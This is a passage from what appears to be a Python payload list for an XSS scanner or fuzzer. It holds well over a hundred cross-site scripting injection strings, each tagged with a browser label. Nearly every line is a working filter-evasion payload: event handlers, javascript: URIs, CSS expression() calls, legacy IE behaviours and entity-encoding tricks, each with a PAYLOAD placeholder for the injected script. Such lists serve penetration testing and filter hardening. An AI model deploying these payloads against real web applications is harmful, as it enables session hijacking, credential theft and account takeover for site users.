  722. { 'payload':"""<body onscroll=PAYLOAD><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>""",
  723. 'browser':"""[HTML5 Injection]"""},
  724. { 'payload':"""X<form id=test onforminput=javascript:PAYLOAD><input></form>""",
  725. 'browser':"""[HTML5 Injection]"""},
  726. { 'payload':"""X<form id=test><input></form><button form=test onformchange==javascript:PAYLOAD>X""",
  727. 'browser':"""[HTML5 Injection]"""},
  728. #Added 03/04/2015
  729. { 'payload':'''<img src=1 href=1 onerror="javascript:PAYLOAD"></img>''',
  730. 'browser':"""[Not Info]"""},
  731. { 'payload':'''<audio src=1 href=1 onerror="javascript:PAYLOAD"></audio>''',
  732. 'browser':"""[Not Info]"""},
  733. { 'payload':'''<video src=1 href=1 onerror="javascript:PAYLOAD"></video>''',
  734. 'browser':"""[Not Info]"""},
  735. { 'payload':'''<body src=1 href=1 onerror="javascript:PAYLOAD"></body>''',
  736. 'browser':"""[Not Info]"""},
  737. { 'payload':'''<image src=1 href=1 onerror="javascript:PAYLOAD"></image>''',
  738. 'browser':"""[Not Info]"""},
  739. { 'payload':'''<object src=1 href=1 onerror="javascript:PAYLOAD"></object>''',
  740. 'browser':"""[Not Info]"""},
  741. { 'payload':'''<script src=1 href=1 onerror="javascript:PAYLOAD"></script>''',
  742. 'browser':"""[Not Info]"""},
  743. { 'payload':'''<svg onResize svg onResize="javascript:javascript:PAYLOAD"></svg onResize>''',
  744. 'browser':"""[Not Info]"""},
  745. { 'payload':'''<title onPropertyChange title onPropertyChange="javascript:javascript:PAYLOAD"></title onPropertyChange>''',
  746. 'browser':"""[Not Info]"""},
  747. { 'payload':'''<iframe onLoad iframe onLoad="javascript:javascript:PAYLOAD"></iframe onLoad>''',
  748. 'browser':"""[Not Info]"""},
  749. { 'payload':'''<body onMouseEnter body onMouseEnter="javascript:javascript:PAYLOAD"></body onMouseEnter>''',
  750. 'browser':"""[Not Info]"""},
  751. { 'payload':'''<body onFocus body onFocus="javascript:javascript:PAYLOAD"></body onFocus>''',
  752. 'browser':"""[Not Info]"""},
  753. { 'payload':'''<frameset onScroll frameset onScroll="javascript:javascript:PAYLOAD"></frameset onScroll>''',
  754. 'browser':"""[Not Info]"""},
  755. { 'payload':'''<script onReadyStateChange script onReadyStateChange="javascript:javascript:PAYLOAD"></script onReadyStateChange>''',
  756. 'browser':"""[Not Info]"""},
  757. { 'payload':'''<html onMouseUp html onMouseUp="javascript:javascript:PAYLOAD"></html onMouseUp>''',
  758. 'browser':"""[Not Info]"""},
  759. { 'payload':'''<body onPropertyChange body onPropertyChange="javascript:javascript:PAYLOAD"></body onPropertyChange>''',
  760. 'browser':"""[Not Info]"""},
  761. { 'payload':'''<svg onLoad svg onLoad="javascript:javascript:PAYLOAD"></svg onLoad>''',
  762. 'browser':"""[Not Info]"""},
  763. { 'payload':'''<body onPageHide body onPageHide="javascript:javascript:PAYLOAD"></body onPageHide>''',
  764. 'browser':"""[Not Info]"""},
  765. { 'payload':'''<body onMouseOver body onMouseOver="javascript:javascript:PAYLOAD"></body onMouseOver>''',
  766. 'browser':"""[Not Info]"""},
  767. { 'payload':'''<body onUnload body onUnload="javascript:javascript:PAYLOAD"></body onUnload>''',
  768. 'browser':"""[Not Info]"""},
  769. { 'payload':'''<body onLoad body onLoad="javascript:javascript:PAYLOAD"></body onLoad>''',
  770. 'browser':"""[Not Info]"""},
  771. { 'payload':'''<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:PAYLOAD"></bgsound onPropertyChange>''',
  772. 'browser':"""[Not Info]"""},
  773. { 'payload':'''<html onMouseLeave html onMouseLeave="javascript:javascript:PAYLOAD"></html onMouseLeave>''',
  774. 'browser':"""[Not Info]"""},
  775. { 'payload':'''<html onMouseWheel html onMouseWheel="javascript:javascript:PAYLOAD"></html onMouseWheel>''',
  776. 'browser':"""[Not Info]"""},
  777. { 'payload':'''<style onLoad style onLoad="javascript:javascript:PAYLOAD"></style onLoad>''',
  778. 'browser':"""[Not Info]"""},
  779. { 'payload':'''<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:PAYLOAD"></iframe onReadyStateChange>''',
  780. 'browser':"""[Not Info]"""},
  781. { 'payload':'''<body onPageShow body onPageShow="javascript:javascript:PAYLOAD"></body onPageShow>''',
  782. 'browser':"""[Not Info]"""},
  783. { 'payload':'''<style onReadyStateChange style onReadyStateChange="javascript:javascript:PAYLOAD"></style onReadyStateChange>''',
  784. 'browser':"""[Not Info]"""},
  785. { 'payload':'''<frameset onFocus frameset onFocus="javascript:javascript:PAYLOAD"></frameset onFocus>''',
  786. 'browser':"""[Not Info]"""},
  787. { 'payload':'''<applet onError applet onError="javascript:javascript:PAYLOAD"></applet onError>''',
  788. 'browser':"""[Not Info]"""},
  789. { 'payload':'''<marquee onStart marquee onStart="javascript:javascript:PAYLOAD"></marquee onStart>''',
  790. 'browser':"""[Not Info]"""},
  791. { 'payload':'''<script onLoad script onLoad="javascript:javascript:PAYLOAD"></script onLoad>''',
  792. 'browser':"""[Not Info]"""},
  793. { 'payload':'''<html onMouseOver html onMouseOver="javascript:javascript:PAYLOAD"></html onMouseOver>''',
  794. 'browser':"""[Not Info]"""},
  795. { 'payload':'''<html onMouseEnter html onMouseEnter="javascript:parent.javascript:PAYLOAD"></html onMouseEnter>''',
  796. 'browser':"""[Not Info]"""},
  797. { 'payload':'''<body onBeforeUnload body onBeforeUnload="javascript:javascript:PAYLOAD"></body onBeforeUnload>''',
  798. 'browser':"""[Not Info]"""},
  799. { 'payload':'''<html onMouseDown html onMouseDown="javascript:javascript:PAYLOAD"></html onMouseDown>''',
  800. 'browser':"""[Not Info]"""},
  801. { 'payload':'''<marquee onScroll marquee onScroll="javascript:javascript:PAYLOAD"></marquee onScroll>''',
  802. 'browser':"""[Not Info]"""},
  803. { 'payload':'''<xml onPropertyChange xml onPropertyChange="javascript:javascript:PAYLOAD"></xml onPropertyChange>''',
  804. 'browser':"""[Not Info]"""},
  805. { 'payload':'''<frameset onBlur frameset onBlur="javascript:javascript:PAYLOAD"></frameset onBlur>''',
  806. 'browser':"""[Not Info]"""},
  807. { 'payload':'''<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:PAYLOAD"></applet onReadyStateChange>''',
  808. 'browser':"""[Not Info]"""},
  809. { 'payload':'''<svg onUnload svg onUnload="javascript:javascript:PAYLOAD"></svg onUnload>''',
  810. 'browser':"""[Not Info]"""},
  811. { 'payload':'''<html onMouseOut html onMouseOut="javascript:javascript:PAYLOAD"></html onMouseOut>''',
  812. 'browser':"""[Not Info]"""},
  813. { 'payload':'''<body onMouseMove body onMouseMove="javascript:javascript:PAYLOAD"></body onMouseMove>''',
  814. 'browser':"""[Not Info]"""},
  815. { 'payload':'''<body onResize body onResize="javascript:javascript:PAYLOAD"></body onResize>''',
  816. 'browser':"""[Not Info]"""},
  817. { 'payload':'''<object onError object onError="javascript:javascript:PAYLOAD"></object onError>''',
  818. 'browser':"""[Not Info]"""},
  819. { 'payload':'''<body onPopState body onPopState="javascript:javascript:PAYLOAD"></body onPopState>''',
  820. 'browser':"""[Not Info]"""},
  821. { 'payload':'''<html onMouseMove html onMouseMove="javascript:javascript:PAYLOAD"></html onMouseMove>''',
  822. 'browser':"""[Not Info]"""},
  823. { 'payload':'''<applet onreadystatechange applet onreadystatechange="javascript:javascript:PAYLOAD"></applet onreadystatechange>''',
  824. 'browser':"""[Not Info]"""},
  825. { 'payload':'''<body onpagehide body onpagehide="javascript:javascript:PAYLOAD"></body onpagehide>''',
  826. 'browser':"""[Not Info]"""},
  827. { 'payload':'''<svg onunload svg onunload="javascript:javascript:PAYLOAD"></svg onunload>''',
  828. 'browser':"""[Not Info]"""},
  829. { 'payload':'''<applet onerror applet onerror="javascript:javascript:PAYLOAD"></applet onerror>''',
  830. 'browser':"""[Not Info]"""},
  831. { 'payload':'''<body onkeyup body onkeyup="javascript:javascript:PAYLOAD"></body onkeyup>''',
  832. 'browser':"""[Not Info]"""},
  833. { 'payload':'''<body onunload body onunload="javascript:javascript:PAYLOAD"></body onunload>''',
  834. 'browser':"""[Not Info]"""},
  835. { 'payload':'''<iframe onload iframe onload="javascript:javascript:PAYLOAD"></iframe onload>''',
  836. 'browser':"""[Not Info]"""},
  837. { 'payload':'''<body onload body onload="javascript:javascript:PAYLOAD"></body onload>''',
  838. 'browser':"""[Not Info]"""},
  839. { 'payload':'''<html onmouseover html onmouseover="javascript:javascript:PAYLOAD"></html onmouseover>''',
  840. 'browser':"""[Not Info]"""},
  841. { 'payload':'''<object onbeforeload object onbeforeload="javascript:javascript:PAYLOAD"></object onbeforeload>''',
  842. 'browser':"""[Not Info]"""},
  843. { 'payload':'''<body onbeforeunload body onbeforeunload="javascript:javascript:PAYLOAD"></body onbeforeunload>''',
  844. 'browser':"""[Not Info]"""},
  845. { 'payload':'''<body onfocus body onfocus="javascript:javascript:PAYLOAD"></body onfocus>''',
  846. 'browser':"""[Not Info]"""},
  847. { 'payload':'''<body onkeydown body onkeydown="javascript:javascript:PAYLOAD"></body onkeydown>''',
  848. 'browser':"""[Not Info]"""},
  849. { 'payload':'''<iframe onbeforeload iframe onbeforeload="javascript:javascript:PAYLOAD"></iframe onbeforeload>''',
  850. 'browser':"""[Not Info]"""},
  851. { 'payload':'''<iframe src iframe src="javascript:javascript:PAYLOAD"></iframe src>''',
  852. 'browser':"""[Not Info]"""},
  853. { 'payload':'''<svg onload svg onload="javascript:javascript:PAYLOAD"></svg onload>''',
  854. 'browser':"""[Not Info]"""},
  855. { 'payload':'''<html onmousemove html onmousemove="javascript:javascript:PAYLOAD"></html onmousemove>''',
  856. 'browser':"""[Not Info]"""},
  857. { 'payload':'''<body onblur body onblur="javascript:javascript:PAYLOAD"></body onblur>''',
  858. 'browser':"""[Not Info]"""},
  859. { 'payload':'''--><!-- ---> <img src=xxx:x onerror=javascript:PAYLOAD> -->''',
  860. 'browser':"""[Not Info]"""},
  861. { 'payload':'''"`'><script>-javascript:PAYLOAD</script>''',
  862. 'browser':"""[Not Info]"""},
  863. { 'payload':'''<body onscroll=javascript:PAYLOAD><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
  864. 'browser':"""[Not Info]"""},
  865. { 'payload':'''<form id=test onforminput=javascript:PAYLOAD><input></form><button form=test onformchange=javascript:PAYLOAD>X''',
  866. 'browser':"""[Not Info]"""},
  867. { 'payload':'''<video><source onerror="javascript:javascript:PAYLOAD">''',
  868. 'browser':"""[HTML5 Injection]"""},
  869. { 'payload':'''<form><button formaction="javascript:javascript:PAYLOAD">X''',
  870. 'browser':"""[Not Info]"""},
  871. { 'payload':'''<body oninput=javascript:PAYLOAD><input autofocus>''',
  872. 'browser':"""[Not Info]"""},
  873. { 'payload':'''<math href="javascript:javascript:PAYLOAD">X</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:PAYLOAD">X</maction> </math>''',
  874. 'browser':"""[Not Info]"""},
  875. { 'payload':'''<frameset onload=javascript:PAYLOAD>''',
  876. 'browser':"""[Not Info]"""},
  877. { 'payload':'''<table background="javascript:javascript:PAYLOAD">''',
  878. 'browser':"""[Not Info]"""},
  879. { 'payload':'''<!--<img src="--><img src=x onerror=javascript:PAYLOAD//">''',
  880. 'browser':"""[Not Info]"""},
  881. { 'payload':'''<comment><img src="</comment><img src=x onerror=javascript:PAYLOAD)//">''',
  882. 'browser':"""[Not Info]"""},
  883. { 'payload':'''<![><img src="]><img src=x onerror=javascript:PAYLOAD//">''',
  884. 'browser':"""[Not Info]"""},
  885. { 'payload':'''<style><img src="</style><img src=x onerror=javascript:PAYLOAD//">''',
  886. 'browser':"""[Not Info]"""},
  887. { 'payload':'''<li style=list-style:url() onerror=javascript:PAYLOAD> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:PAYLOAD></div>''',
  888. 'browser':"""[Not Info]"""},
  889. { 'payload':'''<head><base href="javascript://"></head><body><a href="/. /,javascript:PAYLOAD//#">X</a></body>''',
  890. 'browser':"""[Not Info]"""},
  891. { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>javascript:PAYLOAD</SCRIPT>''',
  892. 'browser':"""[Not Info]"""},
  893. { 'payload':'''<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:PAYLOAD"></OBJECT>''',
  894. 'browser':"""[Not Info]"""},
  895. { 'payload':'''<b <script>PAYLOAD</script>0''',
  896. 'browser':"""[Not Info]"""},
  897. { 'payload':'''<div id="div1"><input value="``onmouseover=javascript:PAYLOAD"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>''',
  898. 'browser':"""[Not Info]"""},
  899. { 'payload':'''<x '="foo"><x foo='><img src=x onerror=javascript:PAYLOAD//'>''',
  900. 'browser':"""[Not Info]"""},
  901. { 'payload':'''<embed src="javascript:PAYLOAD">''',
  902. 'browser':"""[Not Info]"""},
  903. { 'payload':'''<image src="javascript:PAYLOAD">''',
  904. 'browser':"""[Not Info]"""},
  905. { 'payload':'''<img src="javascript:PAYLOAD">''',
  906. 'browser':"""[Not Info]"""},
  907. { 'payload':'''<script src="javascript:PAYLOAD">''',
  908. 'browser':"""[Not Info]"""},
  909. { 'payload':'''<div style=width:1px;filter:glow onfilterchange=javascript:PAYLOAD>x''',
  910. 'browser':"""[Not Info]"""},
  911. { 'payload':'''<? foo="><script>javascript:PAYLOAD</script>">''',
  912. 'browser':"""[Not Info]"""},
  913. { 'payload':'''<! foo="><script>javascript:PAYLOAD</script>">''',
  914. 'browser':"""[Not Info]"""},
  915. { 'payload':'''</ foo="><script>javascript:PAYLOAD</script>">''',
  916. 'browser':"""[Not Info]"""},
  917. { 'payload':'''<? foo="><x foo='?><script>javascript:PAYLOAD</script>'>">''',
  918. 'browser':"""[Not Info]"""},
  919. { 'payload':'''<! foo="[[[Inception]]"><x foo="]foo><script>javascript:PAYLOAD</script>">''',
  920. 'browser':"""[Not Info]"""},
  921. { 'payload':'''<% foo><x foo="%><script>javascript:PAYLOAD</script>">''',
  922. 'browser':"""[Not Info]"""},
  923. { 'payload':'''<div id=d><x xmlns="><iframe onload=javascript:PAYLOAD"></div> <script>d.innerHTML=d.innerHTML</script>''',
  924. 'browser':"""[Not Info]"""},
  925. { 'payload':'''<img[a][b][c]src[d]=x[e]onerror=[f]"PAYLOAD">''',
  926. 'browser':"""[Not Info]"""},
  927. { 'payload':'''<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:PAYLOAD>XXX</a>''',
  928. 'browser':"""[Not Info]"""},
  929. { 'payload':'''<img src="x` `<script>javascript:PAYLOAD</script>"` `>''',
  930. 'browser':"""[Not Info]"""},
  931. { 'payload':'''<img src onerror /" '"= alt=javascript:PAYLOAD//">''',
  932. 'browser':"""[Not Info]"""},
  933. { 'payload':'''<title onpropertychange=javascript:PAYLOAD></title><title title=>''',
  934. 'browser':"""[Not Info]"""},
  935. { 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:PAYLOAD></a>">''',
  936. 'browser':"""[Not Info]"""},
  937. { 'payload':'''<!--[if]><script>javascript:PAYLOAD</script -->''',
  938. 'browser':"""[Not Info]"""},
  939. { 'payload':'''<!--[if<img src=x onerror=javascript:PAYLOAD//]> -->''',
  940. 'browser':"""[Not Info]"""},
  941. { 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:PAYLOAD" style="behavior:url(#x);"><param name=postdomevents /></object>''',
  942. 'browser':"""[Not Info]"""},
  943. { 'payload':'''<a style="-o-link:'javascript:javascript:PAYLOAD';-o-link-source:current">X''',
  944. 'browser':"""[Not Info]"""},
  945. { 'payload':'''<style>p[foo=bar{}*{-o-link:'javascript:javascript:PAYLOAD'}{}*{-o-link-source:current}]{color:red};</style>''',
  946. 'browser':"""[Not Info]"""},
  947. { 'payload':'''<link rel=stylesheet href=data:,*%7bx:expression(javascript:PAYLOAD)%7d''',
  948. 'browser':"""[Not Info]"""},
  949. { 'payload':'''<style>@import "data:,*%7bx:expression(javascript:PAYLOAD)%7D";</style>''',
  950. 'browser':"""[Not Info]"""},
  951. { 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:PAYLOAD;">X</a></a><a href="javascript:javascript:PAYLOAD">X</a>''',
  952. 'browser':"""[Not Info]"""},
  953. { 'payload':'''<div style="list-style:url(http://foo.f)\20url(javascript:javascript:PAYLOAD);">X''',
  954. 'browser':"""[Not Info]"""},
  955. { 'payload':'''<script>({set/**/$($){_/**/setter=$,_=javascript:PAYLOAD}}).$=eval</script>''',
  956. 'browser':"""[Not Info]"""},
  957. { 'payload':'''<script>({0:#0=eval/#0#/#0#(javascript:PAYLOAD)})</script>''',
  958. 'browser':"""[Not Info]"""},
  959. { 'payload':'''<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:PAYLOAD}),x</script>''',
  960. 'browser':"""[Not Info]"""},
  961. { 'payload':'''<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:PAYLOAD')()</script>''',
  962. 'browser':"""[Not Info]"""},
  963. { 'payload':'''X<x style=`behavior:url(#default#time2)` onbegin=`javascript:PAYLOAD` >''',
  964. 'browser':"""[Not Info]"""},
  965. { 'payload':'''1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:PAYLOAD&gt;`>''',
  966. 'browser':"""[Not Info]"""},
  967. { 'payload':'''1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:PAYLOAD&gt;>''',
  968. 'browser':"""[Not Info]"""},
  969. { 'payload':'''1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:PAYLOAD strokecolor=white strokeweight=1000px from=0 to=1000 /></a>''',
  970. 'browser':"""[Not Info]"""},
  971. { 'payload':'''<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:PAYLOAD">X</a>''',
  972. 'browser':"""[Not Info]"""},
  973. { 'payload':'''<event-source src="%(event)s" onload="javascript:PAYLOAD">''',
  974. 'browser':"""[Not Info]"""},
  975. { 'payload':'''<a href="javascript:javascript:PAYLOAD"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:X%0A%0A">''',
  976. 'browser':"""[Not Info]"""},
  977. { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:PAYLOAD&gt;">''',
  978. 'browser':"""[Not Info]"""},
  979. { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:PAYLOAD&gt;">''',
  980. 'browser':"""[Not Info]"""},
  981. { 'payload':'''<IMG SRC="javascript:javascript:PAYLOAD;">''',
  982. 'browser':"""[Not Info]"""},
  983. { 'payload':'''<IMG SRC=javascript:javascript:PAYLOAD>''',
  984. 'browser':"""[Not Info]"""},
  985. { 'payload':'''<IMG SRC=`javascript:javascript:PAYLOAD`>''',
  986. 'browser':"""[Not Info]"""},
  987. { 'payload':'''<FRAMESET><FRAME SRC="javascript:javascript:PAYLOAD;"></FRAMESET>''',
  988. 'browser':"""[Not Info]"""},
  989. { 'payload':'''<BODY ONLOAD=javascript:javascript:PAYLOAD>''',
  990. 'browser':"""[Not Info]"""},
  991. { 'payload':'''<IMG SRC="jav ascript:javascript:PAYLOAD;">''',
  992. 'browser':"""[Not Info]"""},
  993. { 'payload':'''<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:PAYLOAD>''',
  994. 'browser':"""[Not Info]"""},
  995. { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:javascript:PAYLOAD;">''',
  996. 'browser':"""[Not Info]"""},
  997. { 'payload':'''<IMG DYNSRC="javascript:javascript:PAYLOAD">''',
  998. 'browser':"""[Not Info]"""},
  999. { 'payload':'''<IMG LOWSRC="javascript:javascript:PAYLOAD">''',
  1000. 'browser':"""[Not Info]"""},
  1001. { 'payload':'''<BGSOUND SRC="javascript:javascript:PAYLOAD;">''',
  1002. 'browser':"""[Not Info]"""},
  1003. { 'payload':'''<BR SIZE="&{javascript:PAYLOAD}">''',
  1004. 'browser':"""[Not Info]"""},
  1005. { 'payload':'''<LINK REL="stylesheet" HREF="javascript:javascript:PAYLOAD;">''',
  1006. 'browser':"""[Not Info]"""},
  1007. { 'payload':'''<STYLE>li {list-style-image: url("javascript:javascript:PAYLOAD");}</STYLE><UL><LI>X''',
  1008. 'browser':"""[Not Info]"""},
  1009. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:PAYLOAD;">''',
  1010. 'browser':"""[Not Info]"""},
  1011. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:PAYLOAD;">''',
  1012. 'browser':"""[Not Info]"""},
  1013. { 'payload':'''<IFRAME SRC="javascript:javascript:PAYLOAD;"></IFRAME>''',
  1014. 'browser':"""[Not Info]"""},
  1015. { 'payload':'''<TABLE BACKGROUND="javascript:javascript:PAYLOAD">''',
  1016. 'browser':"""[Not Info]"""},
  1017. { 'payload':'''<TABLE><TD BACKGROUND="javascript:javascript:PAYLOAD">''',
  1018. 'browser':"""[Not Info]"""},
  1019. { 'payload':'''<DIV STYLE="background-image: url(javascript:javascript:PAYLOAD)">''',
  1020. 'browser':"""[Not Info]"""},
  1021. { 'payload':'''<DIV STYLE="width:expression(javascript:PAYLOAD);">''',
  1022. 'browser':"""[Not Info]"""},
  1023. { 'payload':'''<IMG STYLE="x:expr/*X*/ession(javascript:PAYLOAD)">''',
  1024. 'browser':"""[Not Info]"""},
  1025. { 'payload':'''<XSS STYLE="x:expression(javascript:PAYLOAD)">''',
  1026. 'browser':"""[Not Info]"""},
  1027. { 'payload':'''<STYLE TYPE="text/javascript">javascript:PAYLOAD;</STYLE>''',
  1028. 'browser':"""[Not Info]"""},
  1029. { 'payload':'''<STYLE>.XSS{background-image:url("javascript:javascript:PAYLOAD");}</STYLE><A CLASS=XSS></A>''',
  1030. 'browser':"""[Not Info]"""},
  1031. { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:javascript:PAYLOAD")}</STYLE>''',
  1032. 'browser':"""[Not Info]"""},
  1033. { 'payload':'''<BASE HREF="javascript:javascript:PAYLOAD;//">''',
  1034. 'browser':"""[Not Info]"""},
  1035. { 'payload':"""<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:PAYLOAD></OBJECT>""",
  1036. 'browser':"""[O9.02]"""},
  1037. { 'payload':'''<HTML xmlns:x><?import namespace="x" implementation="%(htc)s"><x:x>XSS</x:x></HTML>""","XML namespace."),("""<XML ID="x"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:PAYLOAD"&gt;</B></I></XML><SPAN DATASRC="#x" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>''',
  1038. 'browser':"""[Not Info]"""},
  1039. { 'payload':'''<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:PAYLOAD&lt;/SCRIPT&gt;"></BODY></HTML>''',
  1040. 'browser':"""[Not Info]"""},
  1041. { 'payload':'''<form id="test" /><button form="test" formaction="javascript:javascript:PAYLOAD">X''',
  1042. 'browser':"""[Not Info]"""},
  1043. { 'payload':'''<body onscroll=javascript:PAYLOAD><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>''',
  1044. 'browser':"""[Not Info]"""},
  1045. { 'payload':'''<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:PAYLOAD">''',
  1046. 'browser':"""[Not Info]"""},
  1047. { 'payload':'''<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:PAYLOAD;');}</STYLE>''',
  1048. 'browser':"""[Not Info]"""},
  1049. { 'payload':'''<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:PAYLOAD&&;&&<&&/script&&>''',
  1050. 'browser':"""[Not Info]"""},
  1051. { 'payload':'''<SCRIPT onreadystatechange=javascript:javascript:PAYLOAD;></SCRIPT>''',
  1052. 'browser':"""[Not Info]"""},
  1053. { 'payload':'''<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:PAYLOAD;</html:script></html:html>''',
  1054. 'browser':"""[Not Info]"""},
  1055. { 'payload':'''<embed code=javascript:javascript:PAYLOAD></embed>''',
  1056. 'browser':"""[Not Info]"""},
  1057. { 'payload':'''<frameset onload=javascript:javascript:PAYLOAD></frameset>''',
  1058. 'browser':"""[Not Info]"""},
  1059. { 'payload':'''<object onerror=javascript:javascript:PAYLOAD>''',
  1060. 'browser':"""[Not Info]"""},
  1061. { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:PAYLOAD;">]]</C><X></xml>''',
  1062. 'browser':"""[Not Info]"""},
  1063. { 'payload':'''<IMG SRC=&{javascript:PAYLOAD;};>''',
  1064. 'browser':"""[Not Info]"""},
  1065. { 'payload':'''<a href="jav&#65ascript:javascript:PAYLOAD">X</a>''',
  1066. 'browser':"""[Not Info]"""},
  1067. { 'payload':'''<a href="jav&#97ascript:javascript:PAYLOAD">X</a>''',
  1068. 'browser':"""[Not Info]"""},
  1069. { 'payload':'''<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:PAYLOAD&amp;gt;>">''',
  1070. 'browser':"""[Not Info]"""},
  1071. { 'payload':'''<IMG SRC=JaVaScRiPt:PAYLOAD>''',
  1072. 'browser':"""[Not Info]"""},
  1073. { 'payload':'''<a onmouseover="PAYLOAD">X</a>''',
  1074. 'browser':"""[Not Info]"""},
  1075. { 'payload':'''<a onmouseover=PAYLOAD>X</a>''',
  1076. 'browser':"""[Not Info]"""},
  1077. { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:PAYLOAD;">''',
  1078. 'browser':"""[Not Info]"""},
  1079. { 'payload':'''<STYLE>@im\port'\ja\vasc\ript:PAYLOAD';</STYLE>''',
  1080. 'browser':"""[Not Info]"""},
  1081. { 'payload':'''<STYLE>.X{background-image:url("javascript:PAYLOAD");}</STYLE><A CLASS=X></A>''',
  1082. 'browser':"""[Not Info]"""},
  1083. { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:PAYLOAD")}</STYLE>''',
  1084. 'browser':"""[Not Info]"""},
  1085. { 'payload':'''<XSS STYLE="xss:expression(PAYLOAD)">''',
  1086. 'browser':"""[Not Info]"""},
  1087. { 'payload':'''<BASE HREF="javascript:PAYLOAD;//">''',
  1088. 'browser':"""[Not Info]"""},
  1089. { 'payload':'''<img src=`%00`&NewLine; onerror=PAYLOAD&NewLine;''',
  1090. 'browser':"""[Not Info]"""},
  1091. { 'payload':'''<iframe/src="data:text/html,<svg &#111;&#110;load=PAYLOAD>">''',
  1092. 'browser':"""[Not Info]"""},
  1093. { 'payload':'''<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; PAYLOAD" http-equiv="refresh"/>''',
  1094. 'browser':"""[Not Info]"""},
  1095. { 'payload':'''<a href="javascript:void(0)" onmouseover=&NewLine;javascript:PAYLOAD&NewLine;>X</a>''',
  1096. 'browser':"""[Not Info]"""},
  1097. { 'payload':'''<marquee onstart='javascript:PAYLOAD&#x28;1&#x29;'>^__^''',
  1098. 'browser':"""[Not Info]"""},
  1099. { 'payload':'''<iframe/%00/ src=javaSCRIPT&colon;PAYLOAD''',
  1100. 'browser':"""[Not Info]"""},
  1101. { 'payload':'''<%<!--'%><script>PAYLOAD;</script -->''',
  1102. 'browser':"""[Not Info]"""},
  1103. { 'payload':'''<script src="data:text/javascript,PAYLOAD"></script>''',
  1104. 'browser':"""[Not Info]"""},
  1105. { 'payload':'''<iframe/onreadystatechange=PAYLOAD''',
  1106. 'browser':"""[Not Info]"""},
  1107. { 'payload':'''<svg/onload=PAYLOAD''',
  1108. 'browser':"""[Not Info]"""},
  1109. { 'payload':'''<input type="text" value=`` <div/onmouseover='PAYLOAD'>X</div>''',
  1110. 'browser':"""[Not Info]"""},
  1111. { 'payload':'''http://www.<script>PAYLOAD</script .com''',
  1112. 'browser':"""[Not Info]"""},
  1113. { 'payload':'''<svg><script ?>PAYLOAD''',
  1114. 'browser':"""[Not Info]"""},
  1115. { 'payload':'''<img src=`xx:xx`onerror=PAYLOAD''',
  1116. 'browser':"""[Not Info]"""},
  1117. { 'payload':'''<meta http-equiv="refresh" content="0;javascript&colon;PAYLOAD"/>''',
  1118. 'browser':"""[Not Info]"""},
  1119. { 'payload':'''<script>+-+-1-+-+PAYLOAD</script>''',
